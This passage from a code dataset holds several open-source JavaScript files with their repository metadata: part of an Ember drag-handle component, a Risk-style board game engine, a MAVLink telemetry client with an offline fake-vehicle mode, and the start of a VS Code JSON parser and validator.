import { htmlSafe } from '@ember/template';
export default Component.extend({
  tagName: '',
  position: 0,
  side: '',
  isRight: equal('side', 'right'),
  isLeft: equal('side', 'left'),
  minWidth: 60,
  /**
   * Reference to drag-handle on mousedown
   *
   * @property el
   * @type {DOMNode|null}
   * @default null
   */
  el: null,
  /**
   * The maximum width this handle can be dragged to.
   *
   * @property maxWidth
   * @type {Number}
   * @default Infinity
   */
  maxWidth: Infinity,
  /**
   * The left offset to add to the initial position.
   *
   * @property left
   * @type {Number}
   * @default 0
   */
  left: 0,
  /**
   * Modifier added to the class to fade the drag handle.
   *
   * @property faded
   * @type {Boolean}
   * @default false
   */
  faded: false,
  /**
   * Action to trigger whenever the drag handle is moved.
   * Pass this action through the template.
   *
   * @property on-drag
   * @type {Function}
   */
  'on-drag'() {},
  startDragging() {
    this._mouseMoveHandler = this.mouseMoveHandler.bind(this);
    this._stopDragging = this.stopDragging.bind(this);
    document.body.addEventListener(`mousemove`, this._mouseMoveHandler);
    document.body.addEventListener(`mouseup`, this._stopDragging);
    document.body.addEventListener(`mouseleave`, this._stopDragging);
  },
  stopDragging() {
    document.body.removeEventListener(`mousemove`, this._mouseMoveHandler);
    document.body.removeEventListener(`mouseup`, this._stopDragging);
    document.body.removeEventListener(`mouseleave`, this._stopDragging);
  },
  willDestroyElement() {
    this._super();
    this.stopDragging();
  },
  mouseDownHandler: action(function (e) {
    e.preventDefault();
    this.el = e.target;
    this.startDragging();
  }),
  style: computed('side', 'position', 'left', function () {
    return htmlSafe(
      this.side ? `${this.side}: ${this.position + this.left}px;` : ''
    );
  }),
  mouseMoveHandler(e) {
    let container = this.el.parentNode;
    let containerOffsetLeft = getOffsetLeft(container);
    let containerOffsetRight = containerOffsetLeft + container.offsetWidth;
    let position = this.isLeft
      ? e.pageX - containerOffsetLeft
      : containerOffsetRight - e.pageX;
    position -= this.left;
    if (position >= this.minWidth && position <= this.maxWidth) {
      this.set('position', position);
      this['on-drag'](position);
    }
  },
});
function getOffsetLeft(elem) {
  let offsetLeft = 0;
  do {
    if (!isNaN(elem.offsetLeft)) {
      offsetLeft += elem.offsetLeft;
    }
    elem = elem.offsetParent;
  } while (elem.offsetParent);
  return offsetLeft;
}
 | 
	emberjs/ember-inspector | 
	lib/ui/addon/components/drag-handle.js | 
	JavaScript | 
	mit | 2,789 | 
| 
	'use strict';
const debug = require('debug')('risk:Game');
const Battle = require('./Battle');
const stateBuilder = require('./state-builder');
const constants = require('./constants');
const ERRORS = require('./errors');
const createError = require('strict-errors').createError;
const events = require('./events');
const GAME_EVENTS = events.GAME_EVENTS;
const PLAYER_EVENTS = events.PLAYER_EVENTS;
const createEvent = require('strict-emitter').createEvent;
const PHASES = constants.PHASES;
const TURN_PHASES = constants.TURN_PHASES;
class Game {
    constructor (options, rawState) {
        this.gameEmitter = null;
        this.playerEmitters = null;
        this.state = stateBuilder(options, rawState);
        this.started = false;
    }
    getState () {
        return this.state;
    }
    emit (event, ...args) {
        const playerEvents = Object.keys(PLAYER_EVENTS).map(eventKey => PLAYER_EVENTS[eventKey]);
        if (playerEvents.includes(event)) {
            const playerId = args.shift();
            if (this.playerEmitters[playerId]) {
                const playerEmitter = this.playerEmitters[playerId];
                const eventData = createEvent(event, ...args);
                eventData.data.playerId = playerId;
                this.state.setPreviousPlayerEvent({
                    name: eventData.name,
                    playerId: playerId,
                    data: eventData.data
                });
                playerEmitter.emit(eventData.name, eventData.data);
            } else {
                debug('no player listener found', event, args);
            }
        } else if (this.gameEmitter) {
            const eventData = createEvent(event, ...args);
            this.state.setPreviousTurnEvent({
                name: event.name,
                data: eventData.data,
            });
            this.gameEmitter.emit(eventData.name, eventData.data);
        } else {
            debug('no game listener found');
        }
    }
    setEventEmitters (gameEvents, playerEvents) {
        this.gameEmitter = gameEvents;
        this.playerEmitters = playerEvents;
    }
    get turn () {
        return this.state.getTurn();
    }
    get phase () {
        return this.state.getPhase();
    }
    set phase (phase) {
        this.state.setPhase(phase);
    }
    get turnPhase () {
        return this.turn.phase;
    }
    get players () {
        return this.state.getPlayers();
    }
    get board () {
        return this.state.getBoard();
    }
    _loadPreviousEvent (previousEvent, events) {
        let loadEvent = null;
        Object.keys(events).forEach(eventKey => {
            const event = events[eventKey];
            if (event.name === previousEvent) {
                loadEvent = event;
            }
        });
        return loadEvent;
    }
    isStarted () {
        return this.started;
    }
    start () {
        this.started = true;
        const previousTurnEvent = this.state.getPreviousTurnEvent() ? Object.assign({}, this.state.getPreviousTurnEvent()) : null;
        const previousPlayerEvent = this.state.getPreviousPlayerEvent() ? Object.assign({}, this.state.getPreviousPlayerEvent()) : null;
        this.emit(GAME_EVENTS.GAME_START, {});
        this.emit(GAME_EVENTS.TURN_CHANGE, {
            playerId: this.turn.player.getId()
        });
        if (previousTurnEvent && previousTurnEvent.name !== GAME_EVENTS.TURN_CHANGE.name &&
                previousTurnEvent.name !== GAME_EVENTS.GAME_START.name) {
            const event = this._loadPreviousEvent(previousTurnEvent.name, GAME_EVENTS);
            this.emit(event, previousTurnEvent.data);
        } else {
            this.emit(GAME_EVENTS.PHASE_CHANGE, {
                playerId: this.turn.player.getId(),
                phase: this.phase
            });
            if (this.phase === PHASES.BATTLE) {
                this.emit(GAME_EVENTS.TURN_PHASE_CHANGE, {
                    playerId: this.turn.player.getId(),
                    phase: this.turn.phase
                });
            }
        }
        if (previousPlayerEvent) {
            const event = this._loadPreviousEvent(previousPlayerEvent.name, PLAYER_EVENTS);
            this.emit(event, previousPlayerEvent.playerId, previousPlayerEvent.data);
        } else {
            this.emit(PLAYER_EVENTS.REQUIRE_TERRITORY_CLAIM, this.turn.player.getId(), {
                territoryIds: this.board.getAvailableTerritories().map(territory => {
                    return territory.getId();
                })
            });
        }
    }
    endTurn () {
        const turn = this.turn;
        if (this.phase === PHASES.BATTLE) {
            this._applyMovements();
        }
        turn.player = this.state.getPlayerQueue().next();
        let afterTurnEvent = null;
        if (this.phase === PHASES.SETUP_A) {
            if (this.board.areAllTerritoriesOccupied()) {
                this.phase = PHASES.SETUP_B;
                this.emit(GAME_EVENTS.PHASE_CHANGE, {
                    playerId: this.turn.player.getId(),
                    phase: this.phase
                });
            } else {
                afterTurnEvent = () => {
                    this.emit(PLAYER_EVENTS.REQUIRE_TERRITORY_CLAIM, turn.player.getId(), {
                        territoryIds: this.board.getAvailableTerritories().map(territory => {
                            return territory.getId();
                        })
                    });
                };
            }
        }
        if (this.phase === PHASES.SETUP_B) {
            if (this._noMoreStartUnits()) {
                this.phase = PHASES.BATTLE;
                this.emit(GAME_EVENTS.PHASE_CHANGE, {
                    playerId: this.turn.player.getId(),
                    phase: this.phase
                });
            } else {
                afterTurnEvent = () => {
                    this.emit(PLAYER_EVENTS.REQUIRE_ONE_UNIT_DEPLOY, turn.player.getId(), {
                        remainingUnits: this.availableUnits(),
                        territoryIds: turn.player.getTerritories().map(territory => territory.getId())
                    });
                };
            }
        }
        if (this.phase === PHASES.BATTLE) {
            this._resetTurnPhase();
            afterTurnEvent = () => {
                this.emit(PLAYER_EVENTS.REQUIRE_PLACEMENT_ACTION, turn.player.getId(), {
                    units: this.availableUnits(),
                    territoryIds: turn.player.getTerritories().map(territory => territory.getId()),
                    cards: turn.player.getCards()
                });
            };
        }
        this.emit(GAME_EVENTS.TURN_CHANGE, {
            playerId: turn.player.getId()
        });
        if (afterTurnEvent) {
            afterTurnEvent();
        }
        this.state.increaseTurnCount();
    }
    _resetTurnPhase () {
        this.turn.movements = new Map();
        this.turn.phase = TURN_PHASES.PLACEMENT;
        this.turn.battle = null;
        this.turn.unitsPlaced = 0;
        this.turn.cardBonus = 0;
        this.turn.wonBattle = false;
    }
    claimTerritory (territory) {
        if (territory.getOwner()) {
            throw createError(ERRORS.TerritoryClaimedError, {
                territoryId: territory.getId(),
                owner: territory.getOwner().getId()
            });
        }
        this.turn.player.removeStartUnit();
        territory.setOwner(this.turn.player);
        territory.setUnits(1);
        this.turn.player.addTerritory(territory);
        this.emit(GAME_EVENTS.TERRITORY_CLAIMED, {
            playerId: this.turn.player.getId(),
            territoryId: territory.getId(),
            units: 1
        });
        this.endTurn();
    }
    deployOneUnit (territory) {
        if (territory.getOwner() !== this.turn.player) {
            throw createError(ERRORS.NotOwnTerritoryError, {
                territoryId: territory.getId(),
                owner: territory.getOwner().getId()
            });
        }
        if (!this.turn.player.hasStartUnits()) {
            throw createError(ERRORS.NoStartingUnitsError);
        }
        this.turn.player.removeStartUnit();
        territory.addUnits(1);
        this.emit(GAME_EVENTS.DEPLOY_UNITS, {
            playerId: this.turn.player.getId(),
            territoryId: territory.getId(),
            units: 1
        });
        this.endTurn();
    }
    deployUnits (territory, units) {
        if (Number.isNaN(units) || units < 1) {
            throw createError(ERRORS.InvalidUnitsError, { units });
        }
        if (territory.getOwner() !== this.turn.player) {
            throw createError(ERRORS.NotOwnTerritoryError, {
                territoryId: territory.getId(),
                owner: territory.getOwner().getId()
            });
        }
        const availableUnits = this.availableUnits();
        if (availableUnits >= units && availableUnits - units > -1) {
            this.turn.unitsPlaced += units;
            territory.addUnits(units);
            this.emit(GAME_EVENTS.DEPLOY_UNITS, {
                playerId: this.turn.player.getId(),
                territoryId: territory.getId(),
                units: units
            });
        } else {
            throw createError(ERRORS.NoUnitsError);
        }
    }
    attackPhase () {
        if (this.turn.player.getCards().length > 4) {
            throw createError(ERRORS.RequireCardRedeemError, {
                cards: this.turn.player.getCards()
            });
        }
        const availableUnits = this.availableUnits();
        if (availableUnits !== 0) {
            throw createError(ERRORS.RequireDeployError, {
                units: availableUnits
            });
        }
        this.turn.phase = TURN_PHASES.ATTACKING;
        this.emit(GAME_EVENTS.TURN_PHASE_CHANGE, {
            playerId: this.turn.player.getId(),
            phase: this.turn.phase
        });
        this.emit(PLAYER_EVENTS.REQUIRE_ATTACK_ACTION, this.turn.player.getId(), {});
    }
    redeemCards (cards) {
        if (cards.length !== 3) {
            throw createError(ERRORS.NumberOfCardsError);
        }
        if (!this.turn.player.hasCards(cards)) {
            throw createError(ERRORS.NotOwnCardsError, { cards });
        }
        const bonus = this.state.getCardManager().getBonus(cards);
        for (const card of cards) {
            this.turn.player.removeCard(card);
            this.state.getCardManager().pushCard(card);
        }
        this.turn.cardBonus += bonus;
        this.emit(GAME_EVENTS.REDEEM_CARDS, {
            playerId: this.turn.player.getId(),
            cards: cards,
            bonus: bonus
        });
    }
    attack (fromTerritory, toTerritory, units) {
        if (this.turn.battle) {
            throw createError(ERRORS.AlreadyInBattleError);
        }
        if (Number.isNaN(units) || units < 1) {
            throw createError(ERRORS.InvalidUnitsEror, { units });
        }
        if (fromTerritory.getOwner() !== this.turn.player) {
            throw createError(ERRORS.NotOwnTerritoryError, {
                territoryId: fromTerritory.getId(),
                owner: fromTerritory.getOwner().getId()
            });
        }
        if (toTerritory.getOwner() === this.turn.player) {
            throw createError(ERRORS.AttackSelfError, {
                territoryId: toTerritory.getId()
            });
        }
        if (units > fromTerritory.getUnits() - 1) {
            throw createError(ERRORS.LeaveOneUnitError);
        }
        this.turn.battle = Battle.create({
            from: fromTerritory,
            to: toTerritory,
            units
        });
        this.emit(GAME_EVENTS.ATTACK, {
            from: fromTerritory.getId(),
            to: toTerritory.getId(),
            attacker: this.turn.player.getId(),
            defender: toTerritory.getOwner().getId(),
            units: units
        });
        this.emit(PLAYER_EVENTS.REQUIRE_DICE_ROLL, this.turn.player.getId(), {
            type: 'attacker',
            maxDice: Math.min(3, this.turn.battle.getAttackUnits())
        });
    }
    rollDice (numberOfDice) {
        const battle = this.turn.battle;
        if (Number.isNaN(numberOfDice) || numberOfDice < 1) {
            throw createError(ERRORS.InvalidDiceError, { dice: numberOfDice });
        }
        if (battle.getAttacker() === battle.getTurn()) {
            const playerId = battle.getTurn().getId();
            const dice = battle.attackThrow(numberOfDice);
            this.emit(GAME_EVENTS.ATTACK_DICE_ROLL, { playerId, dice });
            if (!battle.hasEnded()) {
                this.emit(PLAYER_EVENTS.REQUIRE_DICE_ROLL, battle.getDefender().getId(), {
                    type: 'defender',
                    maxDice: Math.min(2, battle.getDefendUnits())
                });
            } else {
                this._endBattle();
            }
        } else if (battle.getDefender() === battle.getTurn()) {
            const playerId = battle.getTurn().getId();
            const defendResults = battle.defendThrow(numberOfDice);
            this.emit(GAME_EVENTS.DEFEND_DICE_ROLL, {
                dice: defendResults.dice,
                results: defendResults.results,
                playerId: playerId
            });
            if (!battle.hasEnded()) {
                this.emit(PLAYER_EVENTS.REQUIRE_DICE_ROLL, battle.getAttacker().getId(), {
                    type: 'attacker',
                    maxDice: Math.min(3, battle.getAttackUnits()),
                });
            } else {
                this._endBattle();
            }
        } else {
            throw createError(ERRORS.NotInBattleError);
        }
    }
    _endBattle () {
        const battle = this.turn.battle;
        if (battle.hasEnded()) {
            this.emit(GAME_EVENTS.BATTLE_END, {
                type: battle.getWinner() === battle.getAttacker() ? 'attacker' : 'defender',
                winner: battle.hasEnded() ? battle.getWinner().getId() : null,
            });
            if (battle.getWinner() === this.turn.player) {
                this.turn.wonBattle = true;
                if (battle.getDefender().isDead()) {
                    this._killPlayer(battle.getAttacker(), battle.getDefender());
                }
            }
            this.turn.battle = null;
            if (this.isGameOver()) {
                this._endGame();
            } else {
                this.emit(PLAYER_EVENTS.REQUIRE_ATTACK_ACTION, this.turn.player.getId(), {});
            }
        }
    }
    fortifyPhase () {
        if (this.turn.wonBattle) {
            this._grabCard();
        }
        this.turn.phase = TURN_PHASES.FORTIFYING;
        this.emit(GAME_EVENTS.TURN_PHASE_CHANGE, {
            playerId: this.turn.player.getId(),
            phase: this.turn.phase
        });
        this.emit(PLAYER_EVENTS.REQUIRE_FORTIFY_ACTION, this.turn.player.getId(), {});
    }
    moveUnits (fromTerritory, toTerritory, units) {
        const player = this.turn.player;
        if (Number.isNaN(units) || units < 1) {
            throw createError(ERRORS.InvalidUnitsError, { units });
        }
        if (fromTerritory.getOwner() !== player || toTerritory.getOwner() !== player) {
            throw createError(ERRORS.MoveOwnTerritoriesError, {
                territoryIds: [
                    fromTerritory.getOwner() !== player ? fromTerritory.getId() : null,
                    toTerritory.getOwner() !== player ? toTerritory.getId() : null
                ].filter(Boolean)
            });
        }
        if (!fromTerritory.isAdjacentTo(toTerritory)) {
            throw createError(ERRORS.TerritoriesAdjacentError, {
                territoryIds: [fromTerritory.getId(), toTerritory.getId()]
            });
        }
        if (fromTerritory.getUnits() - units <= 0) {
            throw createError(ERRORS.LeaveOneUnitError);
        }
        const move = {
            from: fromTerritory,
            to: toTerritory,
            units: units
        };
        this.turn.movements.set(fromTerritory.getId(), move);
        this.emit(PLAYER_EVENTS.QUEUED_MOVE, player.getId(), {
            from: move.from.getId(),
            to: move.to.getId(),
            units: move.units
        });
    }
    isGameOver () {
        const playerCount = Array.from(this.players.values()).filter(player => !player.isDead()).length;
        return playerCount === 1;
    }
    winner () {
        const remainingPlayers = Array.from(this.players.values()).filter(player => !player.isDead());
        if (remainingPlayers.length === 1) {
            return remainingPlayers[0];
        }
        return null;
    }
    _noMoreStartUnits () {
        return Array.from(this.players.values()).every(player => {
            return !player.hasStartUnits();
        });
    }
    _killPlayer (killer, killed) {
        this.state.getPlayerQueue().remove(killed);
        // Get cards from the killed player
        const takenCards = [];
        for (const card of killed.getCards()) {
            killer.addCard(card);
            killed.removeCard(card);
            takenCards.push(card);
            this.emit(PLAYER_EVENTS.NEW_CARD, killer.getId(), {
                card: card
            });
        }
        this.emit(GAME_EVENTS.PLAYER_DEFEATED, {
            defeatedBy: killer.getId(),
            playerId: killed.getId(),
            numberOfCardsTaken: takenCards.length
        });
    }
    availableUnits (player) {
        player = player || this.turn.player;
        if ([PHASES.SETUP_A, PHASES.SETUP_B].includes(this.phase)) {
            return player.getStartUnits();
        }
        const bonusUnits = this.bonusUnits(player);
        debug('bonus', bonusUnits);
        const unitsPlaced = this.turn.player === player ? this.turn.unitsPlaced : 0;
        return bonusUnits.total - unitsPlaced;
    }
    bonusUnits (player) {
        player = player || this.turn.player;
        const territories = this.board.getPlayerTerritories(player);
        let territoryBonus = Math.floor(territories.length / 3);
        territoryBonus = territoryBonus < 3 ? 3 : territoryBonus;
        const continents = this.board.getPlayerContinents(player);
        const continentBonus = continents.reduce((totalBonus, continent) => {
            return totalBonus + continent.getBonus();
        }, 0);
        const cardBonus = this.turn.player === player ? this.turn.cardBonus : 0;
        return {
            territoryBonus: territoryBonus,
            continentBonus: continentBonus,
            cardBonus: cardBonus,
            total: territoryBonus + continentBonus + cardBonus
        };
    }
    _applyMovements () {
        const movements = [];
        for (const move of this.turn.movements.values()) {
            movements.push({
                from: move.from.getId(),
                to: move.to.getId(),
                units: move.units
            });
            move.from.removeUnits(move.units);
            move.to.addUnits(move.units);
        }
        this.turn.movements.clear();
        this.emit(GAME_EVENTS.MOVE_UNITS, {
            playerId: this.turn.player.getId(),
            movements: movements
        });
    }
    _grabCard () {
        const card = this.state.getCardManager().popCard();
        this.turn.player.addCard(card);
        this.emit(PLAYER_EVENTS.NEW_CARD, this.turn.player.getId(), {
            card: card
        });
    }
    _endGame () {
        this.emit(GAME_EVENTS.GAME_END, {
            winner: this.winner().getId()
        });
    }
}
module.exports = Game;
 | 
	arjanfrans/conquete | 
	lib/Game.js | 
	JavaScript | 
	mit | 19,761 | 
| 
	goog.provide('Mavelous.MavlinkAPI');
goog.provide('Mavelous.MavlinkMessage');
goog.require('Mavelous.FakeVehicle');
goog.require('goog.debug.Logger');
/**
 * A mavlink message.
 *
 * @param {{_type: string, _index: number}} attrs The message attributes.
 * @constructor
 * @extends {Backbone.Model}
 */
Mavelous.MavlinkMessage = function(attrs) {
  goog.base(this, attrs);
};
goog.inherits(Mavelous.MavlinkMessage, Backbone.Model);
/**
 * Fetches the most recent mavlink messages of interest from the
 * server.
 *
 * @param {{url: string}} attrs Attributes.
 * @constructor
 * @extends {Backbone.Model}
 */
Mavelous.MavlinkAPI = function(attrs) {
  goog.base(this, attrs);
};
goog.inherits(Mavelous.MavlinkAPI, Backbone.Model);
/**
 * @override
 * @export
 */
Mavelous.MavlinkAPI.prototype.initialize = function() {
  /** @type {goog.debug.Logger} */
  this.logger_ = goog.debug.Logger.getLogger('mavelous.MavlinkAPI');
  /** @type {string} */
  this.url = this.get('url');
  /** @type {boolean} */
  this.gotonline = false;
  /** @type {boolean} */
  this.online = true;
  /** @type {number} */
  this.failcount = 0;
  // Table of message models, keyed by message type.
  /** @type {Object.<string, Mavelous.MavlinkMessage>} */
  this.messageModels = {};
  /** @type {?Mavelous.FakeVehicle} */
  this.fakevehicle = null;
};
/**
 * Registers a handler for a mavlink message type.
 *
 * @param {string} msgType The type of message.
 * @param {function(Object)} handlerFunction The message handler function.
 * @param {Object} context Specifies the object which |this| should
 *     point to when the function is run.
 * @return {Mavelous.MavlinkMessage} The message model.
 */
Mavelous.MavlinkAPI.prototype.subscribe = function(
    msgType, handlerFunction, context) {
  if (!this.messageModels[msgType]) {
    this.messageModels[msgType] = new Mavelous.MavlinkMessage({
      '_type': msgType,
      '_index': -1});
  }
  var model = this.messageModels[msgType];
  model.bind('change', handlerFunction, context);
  return model;
};
/**
 * Handles an array of incoming mavlink messages.
 * @param {Object} msgEnvelopes The messages.
 * @private
 */
Mavelous.MavlinkAPI.prototype.handleMessages_ = function(msgEnvelopes) {
  this.trigger('gotServerResponse');
  _.each(msgEnvelopes, this.handleMessage_, this);
};
/**
 * Handles an incoming message.
 *
 * @param {Object} msg The JSON mavlink message.
 * @param {string} msgType The message type.
 * @private
 */
Mavelous.MavlinkAPI.prototype.handleMessage_ = function(msg, msgType) {
  // Update the model if this is a new message for this type.
  var msgModel = this.messageModels[msgType];
  var mdlidx = msgModel.get('_index');
  if (mdlidx === undefined || msg.index > mdlidx) {
    msgModel.set({
      '_index': msg.index
    }, {
      'silent': true
    });
    msgModel.set(msg.msg);
  }
};
/**
 * Gets the latest mavlink messages from the server (or from the fake
 * model, if we're offline).
 */
Mavelous.MavlinkAPI.prototype.update = function() {
  if (this.online) {
    this.onlineUpdate();
  } else {
    this.offlineUpdate();
  }
};
/**
 * Gets the latest mavlink messages from the server.
 */
Mavelous.MavlinkAPI.prototype.onlineUpdate = function() {
  $.ajax({
    context: this,
    type: 'GET',
    cache: false,
    url: this.url + _.keys(this.messageModels).join('+'),
    datatype: 'json',
    success: function(data) {
      this.gotonline = true;
      this.handleMessages_(data);
    },
    error: function() {
      this.trigger('gotServerError');
      if (!this.gotonline) {
        this.failcount++;
        if (this.failcount > 5) {
          this.useOfflineMode();
        }
      }
    }
  });
};
/**
 * Gets the latest fake messages if we're in offline mode.
 */
Mavelous.MavlinkAPI.prototype.offlineUpdate = function() {
  goog.asserts.assert(this.fakevehicle);
  this.fakevehicle.update();
  var msgs = this.fakevehicle.requestMessages(this.messageModels);
  this.handleMessages_(msgs);
};
/**
 * Switches to offline mode.
 */
Mavelous.MavlinkAPI.prototype.useOfflineMode = function() {
  if (this.online && !this.gotonline) {
    this.logger_.info('Switching to offline mode');
    this.online = false;
    this.fakevehicle = new Mavelous.FakeVehicle({
      'lat': 45.5233, 'lon': -122.6670
    });
  }
};
 | 
	jiusanzhou/mavelous | 
	modules/lib/mavelous_web/script/mavlinkapi.js | 
	JavaScript | 
	mit | 4,319 | 
| 
	/*---------------------------------------------------------------------------------------------
 *  Copyright (c) Microsoft Corporation. All rights reserved.
 *  Licensed under the MIT License. See License.txt in the project root for license information.
 *--------------------------------------------------------------------------------------------*/
var __extends = (this && this.__extends) || (function () {
    var extendStatics = function (d, b) {
        extendStatics = Object.setPrototypeOf ||
            ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
            function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
        return extendStatics(d, b);
    };
    return function (d, b) {
        extendStatics(d, b);
        function __() { this.constructor = d; }
        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
    };
})();
import * as Json from 'jsonc-parser';
import { isNumber, equals, isBoolean, isString, isDefined } from '../utils/objects';
import { ErrorCode, Diagnostic, DiagnosticSeverity, Range } from '../jsonLanguageTypes';
import * as nls from 'vscode-nls';
var localize = nls.loadMessageBundle();
var formats = {
    'color-hex': { errorMessage: localize('colorHexFormatWarning', 'Invalid color format. Use #RGB, #RGBA, #RRGGBB or #RRGGBBAA.'), pattern: /^#([0-9A-Fa-f]{3,4}|([0-9A-Fa-f]{2}){3,4})$/ },
    'date-time': { errorMessage: localize('dateTimeFormatWarning', 'String is not a RFC3339 date-time.'), pattern: /^(\d{4})-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])T([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9]|60)(\.[0-9]+)?(Z|(\+|-)([01][0-9]|2[0-3]):([0-5][0-9]))$/i },
    'date': { errorMessage: localize('dateFormatWarning', 'String is not a RFC3339 date.'), pattern: /^(\d{4})-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])$/i },
    'time': { errorMessage: localize('timeFormatWarning', 'String is not a RFC3339 time.'), pattern: /^([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9]|60)(\.[0-9]+)?(Z|(\+|-)([01][0-9]|2[0-3]):([0-5][0-9]))$/i },
    'email': { errorMessage: localize('emailFormatWarning', 'String is not an e-mail address.'), pattern: /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ }
};
var ASTNodeImpl = /** @class */ (function () {
    function ASTNodeImpl(parent, offset, length) {
        this.offset = offset;
        this.length = length;
        this.parent = parent;
    }
    Object.defineProperty(ASTNodeImpl.prototype, "children", {
        get: function () {
            return [];
        },
        enumerable: true,
        configurable: true
    });
    ASTNodeImpl.prototype.toString = function () {
        return 'type: ' + this.type + ' (' + this.offset + '/' + this.length + ')' + (this.parent ? ' parent: {' + this.parent.toString() + '}' : '');
    };
    return ASTNodeImpl;
}());
export { ASTNodeImpl };
var NullASTNodeImpl = /** @class */ (function (_super) {
    __extends(NullASTNodeImpl, _super);
    function NullASTNodeImpl(parent, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'null';
        _this.value = null;
        return _this;
    }
    return NullASTNodeImpl;
}(ASTNodeImpl));
export { NullASTNodeImpl };
var BooleanASTNodeImpl = /** @class */ (function (_super) {
    __extends(BooleanASTNodeImpl, _super);
    function BooleanASTNodeImpl(parent, boolValue, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'boolean';
        _this.value = boolValue;
        return _this;
    }
    return BooleanASTNodeImpl;
}(ASTNodeImpl));
export { BooleanASTNodeImpl };
var ArrayASTNodeImpl = /** @class */ (function (_super) {
    __extends(ArrayASTNodeImpl, _super);
    function ArrayASTNodeImpl(parent, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'array';
        _this.items = [];
        return _this;
    }
    Object.defineProperty(ArrayASTNodeImpl.prototype, "children", {
        get: function () {
            return this.items;
        },
        enumerable: true,
        configurable: true
    });
    return ArrayASTNodeImpl;
}(ASTNodeImpl));
export { ArrayASTNodeImpl };
var NumberASTNodeImpl = /** @class */ (function (_super) {
    __extends(NumberASTNodeImpl, _super);
    function NumberASTNodeImpl(parent, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'number';
        _this.isInteger = true;
        _this.value = Number.NaN;
        return _this;
    }
    return NumberASTNodeImpl;
}(ASTNodeImpl));
export { NumberASTNodeImpl };
var StringASTNodeImpl = /** @class */ (function (_super) {
    __extends(StringASTNodeImpl, _super);
    function StringASTNodeImpl(parent, offset, length) {
        var _this = _super.call(this, parent, offset, length) || this;
        _this.type = 'string';
        _this.value = '';
        return _this;
    }
    return StringASTNodeImpl;
}(ASTNodeImpl));
export { StringASTNodeImpl };
var PropertyASTNodeImpl = /** @class */ (function (_super) {
    __extends(PropertyASTNodeImpl, _super);
    function PropertyASTNodeImpl(parent, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'property';
        _this.colonOffset = -1;
        return _this;
    }
    Object.defineProperty(PropertyASTNodeImpl.prototype, "children", {
        get: function () {
            return this.valueNode ? [this.keyNode, this.valueNode] : [this.keyNode];
        },
        enumerable: true,
        configurable: true
    });
    return PropertyASTNodeImpl;
}(ASTNodeImpl));
export { PropertyASTNodeImpl };
var ObjectASTNodeImpl = /** @class */ (function (_super) {
    __extends(ObjectASTNodeImpl, _super);
    function ObjectASTNodeImpl(parent, offset) {
        var _this = _super.call(this, parent, offset) || this;
        _this.type = 'object';
        _this.properties = [];
        return _this;
    }
    Object.defineProperty(ObjectASTNodeImpl.prototype, "children", {
        get: function () {
            return this.properties;
        },
        enumerable: true,
        configurable: true
    });
    return ObjectASTNodeImpl;
}(ASTNodeImpl));
export { ObjectASTNodeImpl };
export function asSchema(schema) {
    if (isBoolean(schema)) {
        return schema ? {} : { "not": {} };
    }
    return schema;
}
export var EnumMatch;
(function (EnumMatch) {
    EnumMatch[EnumMatch["Key"] = 0] = "Key";
    EnumMatch[EnumMatch["Enum"] = 1] = "Enum";
})(EnumMatch || (EnumMatch = {}));
var SchemaCollector = /** @class */ (function () {
    function SchemaCollector(focusOffset, exclude) {
        if (focusOffset === void 0) { focusOffset = -1; }
        if (exclude === void 0) { exclude = null; }
        this.focusOffset = focusOffset;
        this.exclude = exclude;
        this.schemas = [];
    }
    SchemaCollector.prototype.add = function (schema) {
        this.schemas.push(schema);
    };
    SchemaCollector.prototype.merge = function (other) {
        var _a;
        (_a = this.schemas).push.apply(_a, other.schemas);
    };
    SchemaCollector.prototype.include = function (node) {
        return (this.focusOffset === -1 || contains(node, this.focusOffset)) && (node !== this.exclude);
    };
    SchemaCollector.prototype.newSub = function () {
        return new SchemaCollector(-1, this.exclude);
    };
    return SchemaCollector;
}());
var NoOpSchemaCollector = /** @class */ (function () {
    function NoOpSchemaCollector() {
    }
    Object.defineProperty(NoOpSchemaCollector.prototype, "schemas", {
        get: function () { return []; },
        enumerable: true,
        configurable: true
    });
    NoOpSchemaCollector.prototype.add = function (schema) { };
    NoOpSchemaCollector.prototype.merge = function (other) { };
    NoOpSchemaCollector.prototype.include = function (node) { return true; };
    NoOpSchemaCollector.prototype.newSub = function () { return this; };
    NoOpSchemaCollector.instance = new NoOpSchemaCollector();
    return NoOpSchemaCollector;
}());
var ValidationResult = /** @class */ (function () {
    function ValidationResult() {
        this.problems = [];
        this.propertiesMatches = 0;
        this.propertiesValueMatches = 0;
        this.primaryValueMatches = 0;
        this.enumValueMatch = false;
        this.enumValues = null;
    }
    ValidationResult.prototype.hasProblems = function () {
        return !!this.problems.length;
    };
    ValidationResult.prototype.mergeAll = function (validationResults) {
        for (var _i = 0, validationResults_1 = validationResults; _i < validationResults_1.length; _i++) {
            var validationResult = validationResults_1[_i];
            this.merge(validationResult);
        }
    };
    ValidationResult.prototype.merge = function (validationResult) {
        this.problems = this.problems.concat(validationResult.problems);
    };
    ValidationResult.prototype.mergeEnumValues = function (validationResult) {
        if (!this.enumValueMatch && !validationResult.enumValueMatch && this.enumValues && validationResult.enumValues) {
            this.enumValues = this.enumValues.concat(validationResult.enumValues);
            for (var _i = 0, _a = this.problems; _i < _a.length; _i++) {
                var error = _a[_i];
                if (error.code === ErrorCode.EnumValueMismatch) {
                    error.message = localize('enumWarning', 'Value is not accepted. Valid values: {0}.', this.enumValues.map(function (v) { return JSON.stringify(v); }).join(', '));
                }
            }
        }
    };
    ValidationResult.prototype.mergePropertyMatch = function (propertyValidationResult) {
        this.merge(propertyValidationResult);
        this.propertiesMatches++;
